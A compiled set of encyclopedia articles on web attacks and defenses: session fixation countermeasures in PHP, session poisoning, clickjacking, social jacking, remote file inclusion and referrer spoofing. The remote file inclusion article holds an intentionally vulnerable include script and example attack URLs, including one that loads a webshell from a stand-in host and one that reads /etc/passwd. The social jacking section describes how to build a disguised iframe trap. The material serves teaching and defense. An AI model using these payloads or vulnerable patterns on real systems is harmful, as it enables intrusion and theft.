A countermeasure against session fixation is to generate a new session identifier (SID) on each request. If this is done, then even though an attacker may trick a user into accepting a known SID, the SID will be invalid when the attacker attempts to re-use the SID. Implementation of such a system is simple, as demonstrated by the following: Get previous Session Identifier OLD_SID from HTTP request. If OLD_SID is null, empty, or no session with SID=OLD_SID exists, create a new session. Generate new session identifier NEW_SID with a secure random number generator. Let session be identified by SID=NEW_SID (and no longer by SID=OLD_SID) Transmit new SID to client.

Example: If Mallory successfully tricks Alice into visiting http://victim/?SID=I_KNOW_THE_SID, this HTTP request is sent to victim: GET /?SID=I_KNOW_THE_SID HTTP/1.1 Host: victim victim accepts SID=I_KNOW_THE_SID, which is bad. However, victim is secure because it performs session regeneration. victim gets the following response: HTTP/1.1 200 OK Set-Cookie: SID=3134998145AB331F Alice will now use SID=3134998145AB331F which is unknown to Mallory, and SID=I_KNOW_THE_SID is invalid. Mallory is thus unsuccessful in the session fixation attempt. Unfortunately session regeneration is not always possible. Problems are known to occur when third-party software such as ActiveX or Java Applets are used, and when browser plugins communicate with the server. Third-party software could cause logouts, or the session could be split into two separate sessions.

Session fixation

24

Accept only server-generated SIDs

One way to improve security is not to accept session identifiers that were not generated by the server. However, as noted above, this does not prevent all session fixation attacks. <syntaxhighlight lang=php>if (!isset($_SESSION['SERVER_GENERATED_SID'])) { session_destroy(); // destroy all data in session } session_regenerate_id(); // generate a new session identifier $_SESSION['SERVER_GENERATED_SID'] = true;</syntaxhighlight>

Logout function
A logout function is useful as it allows users to indicate that a session should not allow further requests. Thus attacks can only be effective while a session is active. Note that the following code performs no Cross-site request forgery checks, potentially allowing an attacker to force users to log out of the web application. <syntaxhighlight lang=php>if (isset($_GET['LOGOUT'])) session_destroy(); // destroy all data in session</syntaxhighlight>

Time-out old SIDs

This defense is simple to implement and has the advantage of providing a measure of protection against unauthorized users accessing an authorized user's account by using a machine that may have been left unattended. Store a session variable containing a time stamp of the last access made by that SID. When that SID is used again, compare the current timestamp with the one stored in the session. If the difference is greater than a predefined number, say 5 minutes, destroy the session. Otherwise, update the session variable with the current timestamp.

Destroy session if Referrer is suspicious

When visiting a page, most browsers will set the Referrer the page that contained the link that you followed to get to this page. When the user is logged into a site that is not likely to be linked to from outside that site (e.g., banking websites, or webmail), and the site is not the kind of site where users would remain logged in for any great length of time, the Referrer should be from that site. Any other Referrer should be considered suspicious. However, if the originating request is from a HTTPS page, then the referrer will be stripped. So you cannot depend on this security system. For example, http://vulnerable/ could employ the following security check: <syntaxhighlight lang=php>if (strpos($_SERVER['HTTP_REFERER'], 'http://vulnerable/') !== 0) { session_destroy(); // destroy all data in session } session_regenerate_id(); // generate a new session identifier</syntaxhighlight>

Verify that additional information is consistent throughout session

One way to further improve security is to ensure that the user appears to be the same end user (client). This makes it a bit harder to perform session fixation and other attacks. As more and more networks begin to conform to RFC 3704 and other anti-spoofing practices, the IP address becomes more reliable as a "same source" identifier. Therefore, the security of a web site can be improved by verifying that the source IP is consistent throughout a session. This could be performed in this manner: <syntaxhighlight lang=php>if($_SERVER['REMOTE_ADDR'] != $_SESSION['PREV_REMOTEADDR']) {

Session fixation session_destroy(); // destroy all data in session } session_regenerate_id(); // generate a new session identifier $_SESSION['PREV_REMOTEADDR'] = $_SERVER['REMOTE_ADDR'];</syntaxhighlight> However, there are some points to consider before employing this approach. Several users may share one IP. It is not uncommon for an entire building to share one IP using NAT. One user may have an inconsistent IP. This is true for users behind proxies (such as AOL customers). It is also true for some mobile/roaming users. For some sites, the added security outweighs the lack of convenience, and for others it does not. User Agent Browsers identify themselves by "User-Agent" HTTP headers. This header does not normally change during use; it would be extremely suspicious if that were to happen. A web application might make use of User-Agent detection in attempt to prevent malicious users from stealing sessions. This however is trivial to bypass, as an attacker can easily capture the victim's user-agent with their own site and then spoof it during the attack. This proposed security system is relying on Security through obscurity. <syntaxhighlight lang=php>if ($_SERVER['HTTP_USER_AGENT'] != $_SESSION['PREV_USERAGENT']) { session_destroy(); // destroy all data in session } session_regenerate_id(); // generate a new session identifier $_SESSION['PREV_USERAGENT'] = $_SERVER['HTTP_USER_AGENT'];</syntaxhighlight> However, there are some points to consider before employing this approach. Several users may have same browser User Agent in Internet caf. Several users may have same default browser (ex: Internet Explorer 6 in Windows XP SP3 or mini browser in mobile phone). But User Agent may change legally in few cases. Following examples are the same users. For example MSIE may change the UA string based on compatibility mode: Mozilla/5.0 (Linux; U; Android 2.2; en-us; DROID2 Build/VZW) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 854X480 motorola DROID2 Mozilla/5.0 (Linux; U; Android 2.2; en-us; DROID2 Build/VZW) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 480X854 motorola DROID2 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (FlipboardProxy/0.0.5; +http://flipboard.com/browserproxy) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (FlipboardProxy/1.1; +http://flipboard.com/browserproxy)

25

Session fixation

26

Defense in Depth
Defense in depth is to combine several countermeasures. The idea is simple: if one obstacle is trivial to overcome, several obstacles could be very hard to overcome. A Defence in Depth strategy could involve: Enable HTTPS (to protect against other problems) Correct configuration (do not accept external SIDs, set time-out, etc.) Perform session_regeneration, support log-out, reject illegal referrers, etc. The following PHP script demonstrates several such countermeasures combined in a Defence in Depth manner: <syntaxhighlight lang=php>if (strpos($_SERVER['HTTP_REFERER'], 'https://DiD/') !== 0 || isset($_GET['LOGOUT']) || $_SERVER['REMOTE_ADDR'] !== $_SESSION['PREV_REMOTEADDR'] || $_SERVER['HTTP_USER_AGENT'] !== $_SESSION['PREV_USERAGENT']) session_destroy(); session_regenerate_id(); // generate a new session identifier $_SESSION['PREV_USERAGENT'] = $_SERVER['HTTP_USER_AGENT']; $_SESSION['PREV_REMOTEADDR'] = $_SERVER['REMOTE_ADDR'];</syntaxhighlight> Note that this code checks the current REMOTE_ADDR (the user's IP address) against the REMOTE_ADDR of the previous request. This is in general a robust security practice, as it is likely that a user's IP address will remain the same from one request to the next, and that an attacker will register a different IP address. However, this may cause problems for legitimate users whose internet access is delivered via a proxy pool, where successive requests may be relayed via different proxies with different external IP addresses. Additionally, it provides no protection where the legitimate user and the attacker are behind the same proxy, in which case requests from both will originate from the same IP address.

External links
Security Corner: Session Fixation [1] Session Fixation Vulnerability in Web-based Applications [2] (PDF) Session Fixation Video example [3] Session Fixation Vulnerabilities [4] The Web Application Security Consortium Threat Classification

References
[1] [2] [3] [4] http:/ / shiflett. org/ articles/ session-fixation http:/ / www. acros. si/ papers/ session_fixation. pdf http:/ / revver. com/ video/ 470597/ what-is-session-fixation/ http:/ / projects. webappsec. org/ Session-Fixation

Session poisoning

27

Session poisoning
Session poisoning (also referred to as "Session data pollution" and "Session modification") is a method to exploit insufficient input validation within a server application. Typically a server application that is vulnerable to this type of exploit will copy user input into session variables. The underlying vulnerability is a state management problem: shared state, race condition, ambiguity in use or plain unprotected modifications of state values. Session poisoning has been demonstrated in server environments where different, non-malicious applications (scripts) share the same session states but where usage differ, causing ambiguity and race conditions. Session poisoning has been demonstrated in scenarios where attacker is able to introduce malicious scripts into the server environment, which is possible if attacker and victim share a web host.

Origins
Session poisoning was first discussed as a (potentially new) vulnerability class in Full disclosure mailinglist. Alla Bezroutchko [1] inquired if "Session data pollution vulnerabilities in web applications" was a new problem in January 2006. However, this was an old vulnerability previously noted by others: "this is a classic state management issue" Yvan Boily [2]; "This is not new" - /someone [3]. Earlier examples of these vulnerabilities can be found in major security resources/archives such as Bugtraq, e.g. July 2001 Serious security hole in Mambo Site Server version 3.0.X [4] by Ismael Peinado Palomo of reverseonline.com September 2005 PHP Session modification [5] by unknow (from uw-team) and adam_i Session pollution has also been covered in some articles, such as PHP Session Security, Przemek Sobstel, 2007 (accessed September 22, 2007).
[6]

Attack examples
Trivial attack scenario
A example code vulnerable to this problem is: Session("Login") = Request("login") Session("Username") = Request("username") Which is subject to trivial attacks such as vulnerable.asp?login=YES&username=Mary This problem could exist in software where User submits username / password to logon.asp If password for Mary checks outs, logon.asp forwards to vulnerable.asp?login=YES&username=Mary The problem is that vulnerable.asp is designed on the assumption that the page is only accessed in a non-malicious way. Anyone who realizes how the script is designed, is able to craft an HTTP request which sets the logon user arbitrarily.

Session poisoning

28

Exploiting ambiguous or dual use of same session variable

Alla Bezroutchko [1] discusses a scenario where $_SESSION['login'] is used for two different purposes. In the login scripts, the session variable stores "This user is logged on". In the password reset scripts, the session variable stores "this user wants his password reset". A race condition was demonstrated, in which the reset scripts could be exploited to change the logged on user arbitrarily.

Exploiting scripts allowing writes to arbitrary session variables

/someone variables.
[3]

discusses examples observed in development forums, which allows writing to arbitrary session

The first example is $var = $_GET["something"]; $_SESSION["$var"] = $var2; (in which $_GET["something"] is probably from a selection box or similar). Attack becomes vulnerable.php?something=SESSION_VAR_TO_POISON Session poisoning attacks enabled by php.ini: register_globals = on php.ini: register_globals = on is known to enable security vulnerabilities in several applications. PHP server administrators are recommended to disable this feature. Note: Real-world examples of session poisoning in enabled by register_globals = on was publicly demonstrated in back in July 2001 article Serious security hole in Mambo Site Server version 3.0.X [4]. Second example by /someone [3] is if ($condition1) { $var = 'SOMETHING'; }; if ($condition2) { $var = 'OTHER'; }; $_SESSION["$var"] = $var2; which is vulnerable if: It is possible for attacker to cause both conditions to be false. php.ini is misconfigured (register_globals = on), which allows $var default value to be controlled by GPC (GET, POST, or COOKIE) input. Attack becomes vulnerable.php?var=SESSION_VAR_TO_POISON

Session poisoning

29

Exploit utilizing a shared PHP server (e.g. shared web hosting)

unknow of uw-team.org [5] discusses a scenario where attacker and victim shares the same PHP server. Attack is fairly easy: The attacker first visits the victim's page, and e.g. log on. Attacker then uploads a PHP script to his account, and has it display context of $_SESSION (set by victim script). Attacker determines which variable needs to be changed, uploads a script which sets this variable, executes it. Attacker visits victim pages to see if anticipated exploit worked.

This attack only requires that victim and attacker share the same PHP server. The attack is not dependent on victim and attacker having the same virtual hostname, as it is trivial for attacker to move the session identifier cookie from one cookie domain to another.

References
[1] [2] [3] [4] [5] http:/ / archives. neohapsis. com/ archives/ fulldisclosure/ 2006-01/ 0414. html http:/ / archives. neohapsis. com/ archives/ fulldisclosure/ 2006-01/ 0459. html http:/ / archives. neohapsis. com/ archives/ fulldisclosure/ 2006-01/ 0423. html http:/ / seclists. org/ lists/ bugtraq/ 2001/ Jul/ 0569. html http:/ / seclists. org/ lists/ bugtraq/ 2005/ Sep/ 0193. html

[6] http:/ / segfaultlabs. com/ pdf/ php-session-security. pdf

Clickjacking
Clickjacking is a malicious technique of tricking Web users into revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.[1] [2] [3] [4] A vulnerability across a variety of browsers and platforms, a clickjacking takes the form of embedded code or script that can execute without the user's knowledge, such as clicking on a button that appears to perform another function.[5] The term "clickjacking" was coined by Jeremiah Grossman and Robert Hansen in 2008. The exploit is also known as UI redressing. Clickjacking can be understood as an instance of the confused deputy problem.[6]

Description
Clickjacking is possible because seemingly harmless features of HTML web pages can be employed to perform unexpected actions. A clickjacked page tricks a user into performing undesired actions by clicking on a concealed link. On a clickjacked page, the attackers load another page over it in a transparent layer. The users think that they are clicking visible buttons, while they are actually performing actions on the hidden page. The hidden page may be an authentic page, therefore the attackers can trick users into performing actions which the users never intended. There is no way of tracing such actions to the attackers later, as the users would have been genuinely authenticated on the hidden page.

Clickjacking

30

Examples
A user might receive an email with a link to a video about a news item, but another valid page, say a product page on amazon.com, can be "hidden" on top or underneath the "PLAY" button of the news video. The user tries to "play" the video but actually "buys" the product from Amazon. Other known exploits include: tricking users into enabling their webcam and microphone through Flash (which has since been corrected by Adobe); tricking users into making their social networking profile information public; making users follow someone on Twitter;[7] share links on Facebook[8] [9]

Prevention
Client-side
Ghostery Ghostery is a privacy browser extension available for the 5 primary browsers that enables its users to easily detect and control tags, web bugs, pixels, and beacons that have the potential to collect data on their browsing habits. This way it can prevent clickjacking involving social networks like Facebook or Twitter by blocking their scripts on others web pages. NoScript Protection against clickjacking can be added to Mozilla Firefox desktop and mobile[10] versions by installing the NoScript add-on: its ClearClick feature, released on 8 October 2008, prevents users from clicking on invisible or "redressed" page elements of embedded documents or applets.[11] According to Google's "Browser Security Handbook [12]", NoScript's ClearClick is "the only freely available product that offers a reasonable degree of protection" against Clickjacking.[13] GuardedID GuardedID (a commercial product) includes client-side clickjack protection for users of Internet Explorer and Firefox[14] without interfering with the operation of legitimate iFrames. GuardedID clickjack protection forces all frames to become visible. Gazelle Gazelle is a Microsoft Research project secure web browser based on IE, that uses an OS-like security model, and has its own limited defenses against clickjacking.[15] In Gazelle, a window of different origin may only draw dynamic content over another window's screen space if the content it draws is opaque.

Clickjacking

31

Server-side
Framekiller Web site owners can protect their users against UI redressing (frame based clickjacking) on the server side by including a framekiller JavaScript snippet in those pages they do not want to be included inside frames from different sources.[13] Such JavaScript-based protection, unfortunately, is not always reliable. This is especially true on Internet Explorer,[13] where this kind of countermeasure can be circumvented "by design" by including the targeted page inside an <IFRAME SECURITY=restricted> element.[16]

Server-side needing client support

X-Frame-Options On 26 January 2009 Microsoft released RC1 of Internet Explorer 8, which includes a new partial clickjacking prevention option. Web site developers will be able to add a tag in a page header to help detect and prevent frame-based UI redressing. IE 8, according to Microsoft, will detect sites that insert the tag and give users a new error screen indicating that the content host has chosen not to allow their content to be framed, while giving users the option to open the content in a new window. [17] Microsoft's suggested solution,[18] which has since also been implemented in Apple's Safari,[19] Firefox,[20] and Google's Chrome[21] Web browsers, is to check for a new HTTP header, X-Frame-Options. This header can have two values, deny and sameorigin, which will block any framing or framing by external sites, respectively.

Notes
[1] Robert McMillan (2008-09-17). "At Adobe's request, hackers nix 'clickjacking' talk" (http:/ / www. pcworld. idg. com. au/ index. php/ id;979405561). PC World. . Retrieved 2008-10-08. [2] Megha Dhawan (2008-09-29). "Beware, clickjackers on the prowl" (http:/ / infotech. indiatimes. com/ quickiearticleshow/ 3543527. cms). India Times. . Retrieved 2008-10-08. [3] Dan Goodin (2008-10-07). "Net game turns PC into undercover surveillance zombie" (http:/ / www. theregister. co. uk/ 2008/ 10/ 07/ clickjacking_surveillance_zombie/ ). The Register. . Retrieved 2008-10-08. [4] Fredrick Lane (2008-10-08). "Web Surfers Face Dangerous New Threat: 'Clickjacking'" (http:/ / news. yahoo. com/ s/ nf/ 20081008/ bs_nf/ 62355). newsfactor.com. . Retrieved 2008-10-08. [5] Sumner Lemon (2008-09-30). "Business Center: Clickjacking Vulnerability to Be Revealed Next Month" (http:/ / www. pcworld. com/ businesscenter/ article/ 151677/ clickjacking_vulnerability_to_be_revealed_next_month. html). . Retrieved 2008-10-08. [6] The Confused Deputy rides again! (http:/ / waterken. sourceforge. net/ clickjacking/ ), Tyler Close, October 2008 [7] Daniel Sandler (2009-02-12). "Twitter's "Don't Click" prank, explained (dsandler.org)" (http:/ / dsandler. org/ outgoing/ dontclick_orig. html). . Retrieved 2009-12-28. [8] Krzysztof Kotowicz (2009-12-21). "New Facebook clickjacking attack in the wild" (http:/ / blog. kotowicz. net/ 2009/ 12/ new-facebook-clickjagging-attack-in. html). . Retrieved 2009-12-29. [9] BBC (2010-06-03). "Facebook "clickjacking" spreads across site" (http:/ / news. bbc. co. uk/ 2/ hi/ technology/ 10224434. stm). BBC News. . Retrieved 2010-06-03. [10] Giorgio Maone (2011-06-24). "NoScript Anywhere" (http:/ / noscript. net/ nsa/ ). hackademix.net. . Retrieved 2011-06-30. [11] Giorgio Maone (2008-10-08). "Hello ClearClick, Goodbye Clickjacking" (http:/ / hackademix. net/ 2008/ 10/ 08/ hello-clearclick-goodbye-clickjacking/ ). hackademix.net. . Retrieved 2008-10-27. [12] http:/ / code. google. com/ p/ browsersec/ [13] Michal Zalevski (2008-12-10). "Browser Security Handbook, Part 2, UI Redressing" (http:/ / code. google. com/ p/ browsersec/ wiki/ Part2#Arbitrary_page_mashups_(UI_redressing)). Google Inc.. . Retrieved 2008-10-27. [14] Robert Hansen (2009-02-04). "Clickjacking and GuardedID ha.ckers.org web application security lab" (http:/ / ha. ckers. org/ blog/ 20090204/ clickjacking-and-guardedid/ ). . Retrieved 2011-11-30. [15] Wang, Helen J.; Grier, Chris; Moschchuk, Alexander; King, Samuel T.; Choudhury, Piali; Venter, Herman (August, 2009). "The Multi-Principal OS Construction of the Gazelle Web Browser" (http:/ / research. microsoft. com/ en-us/ um/ people/ helenw/ papers/ gazelleSecurity09. pdf). 18th Usenix Security Symposium, Montreal, Canada. . Retrieved 2010-01-26. [16] Giorgio Maone (2008-10-27). "Hey IE8, I Can Has Some Clickjacking Protection" (http:/ / hackademix. net/ 2009/ 01/ 27/ ehy-ie8-i-can-has-some-clickjacking-protection/ ). hackademix.net. . Retrieved 2008-10-27.

Clickjacking
[17] Mary Jo Foley (2009-01-26). "Near-final IE 8 test build ready for download" (http:/ / blogs. zdnet. com/ microsoft/ ?p=1846). . Retrieved 2009-01-26. [18] Eric Lawrence (2009-01-27). "IE8 Security Part VII: ClickJacking Defenses" (http:/ / blogs. msdn. com/ ie/ archive/ 2009/ 01/ 27/ ie8-security-part-vii-clickjacking-defenses. aspx). . Retrieved 2009-06-10. [19] Ryan Naraine (2009-06-08). "Apple Safari jumbo patch: 50+ vulnerabilities fixed" (http:/ / blogs. zdnet. com/ security/ ?p=3541). . Retrieved 2009-06-10. [20] https:/ / developer. mozilla. org/ en/ The_X-FRAME-OPTIONS_response_header The X-Frame-Options response header MDC [21] Adam Barth (2010-01-26). "Security in Depth: New Security Features" (http:/ / blog. chromium. org/ 2010/ 01/ security-in-depth-new-security-features. html). . Retrieved 2010-01-26.

32

References External links

Original paper on clickjacking (http://www.sectheory.com/clickjacking.htm) clickjacking links collected by Steve Gibson of GRC.com (http://www.grc.com/sn/notes-168.htm) Waterken article on clickjacking and capability-based security (http://waterken.sourceforge.net/clickjacking) OWASP clickjacking (http://www.owasp.org/index.php/Clickjacking) UI Redressing: Attacks and Countermeasures Revisited (http://ui-redressing.mniemietz.de/)

New Insights into Clickjacking @ Owasp AppSec Research 2010 (http://www.slideshare.net/embyte/ new-insights-into-clickjacking) Clickjacking attack on Flash Player,20 Oct 2011 (http://www.ehackingnews.com/2011/10/ how-to-spy-on-webcams-of-website.html)

Social jacking
Social jacking is malicious technique tricking the users for clicking vulnerable buttons or compromise them by showing false appearing pages , it is a mixture of click jacking technique and social engineering . The term social jacking was coined by the notorious "Christian Giovanni" in 2011.It may be also referred as User interface disguising method , it is a variant of click jacking method.

Technique
The original page or vulnerable page is loaded using iframe tag , after that all the unnecessary contents in that webpage displayed in iframe is removed by placing white background div tag elements by using absolute positioning property using css , thus all unnecessary information in the displayed vulnerable page is removed and only buttons or links are alone made visible to the user , more over some additional social engineering messages like click the below button so get access or get reward is displayed above the iframe tag ,so the user is made to click the visible button without knowing what happens when he clicks the button.

Examples
Suppose the user has logged into his web based email , now we send a link to the user for a the tricked webpage , the user clicks the link and the tricked or specially crafted webpage is loaded , the loaded webpage has a iframe tag through which the users web based email inbox is loaded and we hide all the unnecessary information in the loaded webpage and make only the "delete all" button in the inbox page to be visible , now we add the text above iframe saying some messages which makes the user to click the delete all button , now when the user clicks the delete all button his all mails got deleted .

Social jacking

33

Prevention
Prevention of these methods is quite tough , its up to the user by identifying and analyzing the webpages and he should not click any anonymous links or buttons .

Implementation
Social jacking can be easily implemented using Google Web Toolkit , where we can design the webpage using wysiwyg GUI builder and drag white background colored panel over the iframe window thus hiding the unnecessary information , while revealing the vulnerable buttons alone.

References External links

t3ch blog - social jacking description (http://t3ch-india.blogspot.com/2011/05/ social-jacking-new-way-of-online-attack.html) demo (http://socialjacking.appspot.com/) hack forums (http://www.hackforums.net/showthread.php?tid=1325253/)

Remote file inclusion

Remote File Inclusion (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to: Code execution on the web server Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS). Denial of Service (DoS) Data Theft/Manipulation

Programming languages
PHP
In PHP the main cause is due to the use of unvalidated external variables such as $_GET, $_POST, $_COOKIE with a filesystem function [1]. Most notable are the include [2] and require [3] statements. Most of the vulnerabilities can be attributed to novice programmers not being familiar with all of the capabilities of the PHP programming language. The PHP language has an allow_url_fopen [4] directive, and if enabled it allows filesystem functions [1] to use a URL which allows them to retrieve data from remote locations. An attacker will alter a variable that is passed to one of these functions to cause it to include malicious code from a remote resource. To mitigate this vulnerability, all user input needs to be validated before being used.

Remote file inclusion Example Consider this PHP script (which includes a file specified by request): <?php $color = 'blue'; if (isset( $_GET['COLOR'] ) ) $color = $_GET['COLOR']; include( $color . '.php' ); ?> <form method="get"> <select name="COLOR"> <option value="red">red</option> <option value="blue">blue</option> </select> <input type="submit"> </form> The developer intended only blue.php and red.php to be used as options. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files: /vulnerable.php?COLOR=http://evil.example.com/webshell.txt? - injects a remotely hosted file containing a malicious code. /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability) /vulnerable.php?COLOR=C:\\notes.txt%00 - example using NUL meta character to remove the .php suffix, allowing access to files other than .php. (With magic_quotes_gpc [5] enabled this limits the attack by escaping special characters, this disables the use of the NUL terminator) /vulnerable.php?COLOR=/etc/passwd%00 - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.

34

Known Real World Examples

In May 2011, Impervas ADC wrote a comprehensive description of how RFI works and how to avoid it [6] . In June 2011, the Lulzsec attacks relied heavily on RFI, which is described in this Imperva blog [7]

References
[1] [2] [3] [4] [5] [6] [7] http:/ / www. php. net/ manual/ en/ ref. filesystem. php http:/ / php. net/ include http:/ / php. net/ require http:/ / www. php. net/ manual/ en/ filesystem. configuration. php#ini. allow-url-fopen http:/ / www. php. net/ manual/ en/ security. magicquotes. what. php "Imperva: Remote File Inclusion" (http:/ / www. imperva. com/ docs/ HI_Remote_File_Inclusion. pdf). June 2011. . "blog.imperva.com: Analyzing the Lulsec Attacks" (http:/ / blog. imperva. com/ 2011/ 06/ analyzing-the-lulzsec-attacks-. html). . Retrieved 2011-06-30.

Remote file inclusion

35

External links
Remote File Inclusion Vulnerabilities (http://projects.webappsec.org/Remote-File-Inclusion) The Web Application Security Consortium Threat Classification Nameless Wiki - Remote File Inclusion (http://www.namelesswiki.com/wiki/Remote_File_Inclusion) Metasploit PHP Remote File Include Generic Exploit (http://www.metasploit.com/modules/exploit/unix/ webapp/php_include)

Referrer spoofing
In HTTP networking, typically on the World Wide Web, referrer spoofing (also sometimes spelled "referer spoofing", after a canonized misspelling) is the sending of incorrect referrer information in an HTTP request in order to prevent a website from obtaining accurate data on the identity of the web page previously visited by the user.

Overview
Referrer spoofing is typically done for data privacy reasons, in testing, or in order to request information which some web servers may only supply in response to requests with specific HTTP referrers. To improve their privacy, individual browser users may replace accurate referrer data with inaccurate data, though many simply suppress their browser's sending of any referrer data. Sending no referrer information is not technically spoofing, though sometimes also described as such. Users may also modify other HTTP headers.[1] In software, systems and networks testing,[2] referrer spoofing is often just part of a larger procedure of transmitting both accurate and inaccurate and both expected and unexpected input to the HTTPD system being tested and observing the results. While many web sites are configured to gather referrer information and serve different content depending on the referrer information obtained, exclusively relying on HTTP referrer information for authentication and authorization purposes is not a genuine state of the art computer security measure, and has been described as snake oil security.[3] HTTP referrer information is freely alterable and interceptable, and is not a password, though some poorly configured systems treat it as such. Nevertheless, it is sometimes contended that referrer spoofing was not legitimate and/or constituted unauthorized access. As a vast majority of users don't change defaults, referrer protection is useful regardless of the few (rebellious) who have the knowledge of how to break it.

Application
Some websites, especially many image hosting sites, utilize referrer information to secure their materials: only browsers arriving from their web pages are served images. Additionally a site may want users to click through pages with advertising content before directly being able to access a downloadable file - using the referring page or referring site information can help a site redirect unauthorized users to the landing page the site would like to use. If attackers acquire knowledge of these approved referrers, which is often trivial because many sites follow a common template, they can use that information combined with this exploit to gain free access to the materials. Spoofing often allows access to a site's content where the site's web server is configured to block browsers that do not send referrer headers. Website owners may do this to disallow hotlinking. It can also be used to defeat referrer checking controls that are used to mitigate Cross-Site Request Forgery attacks.

Referrer spoofing

36

Tools
Several software tools exist to facilitate referrer spoofing in web browsers. Some are extensions to popular browsers such as Mozilla Firefox or Internet Explorer, which may provide facilities to customise and manage referrer URLs for each website the user visits. Other tools include proxy servers, to which an individual configures their browser to send all HTTP requests. The proxy then forwards different headers to the intended website, usually removing or modifying the referrer header. Such proxies may also present privacy issues for users, as they may log the user's activity.

Notes
[1] The manipulation of other HTTP headers is not referrer spoofing, but is a related practice. [2] and sometimes penetration testing [3] http:/ / seclists. org/ bugtraq/ 2002/ Nov/ 199

Article Sources and Contributors

37

Article Sources and Contributors

Cross-site scripting Source: http://en.wikipedia.org/w/index.php?oldid=467198880 Contributors: 1337freek, AIMSzpc, Aaronwinborn, Agassiz830, Ajaypal2k, Alekjds, Alexkon, Alpha0, Amegghiuvirdura, Andres, Andyparkins, Anon lynx, Antonrojo, Apyule, Atlantia, Audriusa, Auric, AxelBoldt, Bachrach44, BaldPark, Beland, Benplowman, Bensonwu, Beria, Bigmantonyd, Blaufish, Brianjd, Brockert, Bruce1ee, Cacois, Callistan, Canterbury Tail, Cavrdg, CecilWard, Cesar81, CesarB, CharlotteWebb, Chealer, Chicken Wing, Chowbok, Christan80, Colfer2, CraSH, Cynical, DBooth, DMacks, Damian Yerrick, DariusWiles, DavidMcCabe, Decrease789, Demi, Derekrogerson, Dexp, Dextrose, Djnicholson, Dougher, Dougweller, Dpangalos, Dramacritus, Drkarger, Drol, Drongo, Dwayne, Dwietstruk, Dysprosia, ESkog, Echoray, EdC, Edward, Edward Z. Yang, Eh kia, Ehheh, Eleassar, Enric Naval, Epbr123, Erik9, Esumitra, EvanED, Falcon8765, Fathisules, Fetchcomms, Flash4040, FlashSheridan, Fmph, Folajimi, Formicula, Fvw, Gary King, Geary, Gene r75, Gilles Schintgen, Gilliam, GraemeL, Greystork, Grunt, H2g2bob, Hacktalk, Heirpixel, Hendrik Brummermann, Hu12, IGeMiNix, Igottheconch, Ineiros, Intgr, Irishguy, Isnow, It Is Me Here, Ixfd64, J.delanoy, JEMLA, JLaTondre, JaGa, James.d.carlson, Jammycakes, Jandalhandler, Jeff G., Jesper Jurcenoks, Jleedev, Jlehen, Jmanico, Jnarvey, JoeSmack, JonHarder, Jonabbey, Jordanarseno, Josephtate, Jshadias, Julesd, Karada, Karlhahn, Kbh3rd, KnightRider, Konstable, Kwertii, L Kensington, Larson.chris, LeaveSleaves, Leobold1, Leotohill, Liquidbad, M.e, MC10, Mahlon, Mailer diablo, Mandarax, MarkAHershberger, Mboverload, Mcorrientes, Michael Hardy, Michael miceli, MikeX, Minesweeper, Minhal Mehdi, Misterdiscreet, Morpheios Melas, Mpulier, MrOllie, Mrbbking, Nbs system, Nick5000, Ohconfucius, Oli Filth, Orphu of io, OsamaBinLogin, Ost316, Pearle, Pgudge, Pinecar, Planetlevel, Porges, Pradameinhoff, Quebec99, Ramu50, Rasp, Rathigpe, Rdsmith4, ReCover, Rebroad, Reinderien, Remember the dot, Rhyous, Rjwilmsi, RobertG, RockMFR, Ronz, Root exploit, RossPatterson, Rwxrwxrwx, SWAdair, Sc147, Scc4fun, Securiger, ShadowLord, Sharp11, Shenme, Sjnaficy, Sliwers, Slowking Man, Smjg, Societebi, Softtest123, Spal, Spearhead, Starwiz, Stewartadcock, Stoehr.sukachevin, StonedChipmunk, Str4nd, Stygiansonic, SunCreator, SusanLesch, TDM, TZGreat, TarzanASG, Tchoutoye, TerraFrost, The Anome, The Thing That Should Not Be, Tommy, TonyW, Unimaginative Username, Unknown W. Brackets, Van der Hoorn, Vasi, Vfeditor, Voidxor, Waiwai933, Walter Grlitz, Werdan7, Widefox, WikiSolved, Wikieditor06, Wikighost275, Worldblackstar, Wrs1864, XP1, Xdcdx, Xillion, Xionbox, ZX81, Zacchiro, Zetawoof, Zhyale, Zoe, Zoicon5, Zzuuzz, 527 anonymous edits Cross-site request forgery Source: http://en.wikipedia.org/w/index.php?oldid=465472891 Contributors: Achurch, AllanManangan, Alpha Quadrant (alt), Alphanis, Andonic, AxelBoldt, Aydiosmio, Bobo192, CapitalR, Carl.antuar, Chealer, Chocolateboy, Crashie, Crenner, Damian Yerrick, Danielcornell, DariusWiles, David Haslam, DeadEyeArrow, Dougofborg, Dreftymac, EBusiness, EamonnAG, Edgerck, Edward, Edward Z. Yang, Ehn, ElKevbo, Epicfailftw, Feezo, Firealwaysworks, FlashSheridan, Florian huber, Frap, Furrykef, Gracefool, Graham87, Harmonb, Hmjgriffon, Irishguy, Ixfd64, Jackollie, Jedonnelley, JoeWalker, Joomlame, Juanpdp, Ka-Ping Yee, Keilana, Kennyluck, Kimbalwb, Krinkle, Krsch, Lee J Haywood, LilHelpa, LoneRanger India, Lde, Macxtom, Mahlon, Mandarax, Meitar, Michael Hardy, MichaelCoates, Mikej, Mindmatrix, MinorContributor, Mmoncur, Mortense, Mr.Z-man, Mytto, NeilFraser, NikolasCo, Oxymoron83, Peepeedia, Phantom, Pinecar, Ramsey, Rathigpe, Requiem18th, RickBeton, 